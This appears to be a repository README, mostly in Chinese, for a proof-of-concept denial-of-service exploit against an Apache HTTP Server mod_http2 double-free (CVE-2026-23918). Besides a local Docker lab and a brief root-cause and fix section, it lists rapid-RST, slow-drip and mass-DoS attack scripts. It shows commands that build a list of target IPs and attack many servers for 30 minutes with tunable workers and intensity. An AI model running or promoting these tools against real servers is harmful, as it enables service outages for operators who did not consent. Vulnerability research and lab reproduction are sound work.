CVE-2026-23918 | Apache HTTP Server 2.4.66 | CWE-415:双重释放 | CVSS 8.8 | 已在 2.4.67 中修复
mod_http2(h2_mplx.c)中的双重释放漏洞允许远程攻击者通过快速的 RST_STREAM 帧触发 c1c2_stream_joined() 与 m_stream_cleanup() 之间的竞争条件,从而导致拒绝服务(工作进程崩溃)。
# 1. Start the lab
docker-compose up --build -d
# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443
# 3. Watch the crash
docker logs -f apache-lab
# 4. Clean up
docker-compose down -v
结果: 服务器在 约 30 秒–3 分钟内因
SIGSEGV崩溃 —— 可靠的 DoS 已确认。
| 文件 | 描述 |
|---|---|
poc.py | Rapid-RST —— 快速攻击,可在 30 秒–3 分钟内使服务器崩溃 |
exploits/slow-drip.py | Slow Drip —— 低带宽持续攻击 |
# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt
# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7
该漏洞在以下情况下触发:
c1c2_stream_joined() 和 m_stream_cleanup() 加入m->spurge,且未进行去重h2_purge_then_destroy() 两次销毁该流 → 双重释放 → 段错误
升级到 Apache 2.4.67 或更高版本。
完整的漏洞分析、根因剖析、利用说明与修复建议: → rhasan.com/CVE-2026-23918
⭐ 如果你觉得这个仓库有用,请给它点个 Star!
exploits/mass-dos.py |
| Mass DoS —— 多目标持续 DoS |
| Apache 2.4.67 |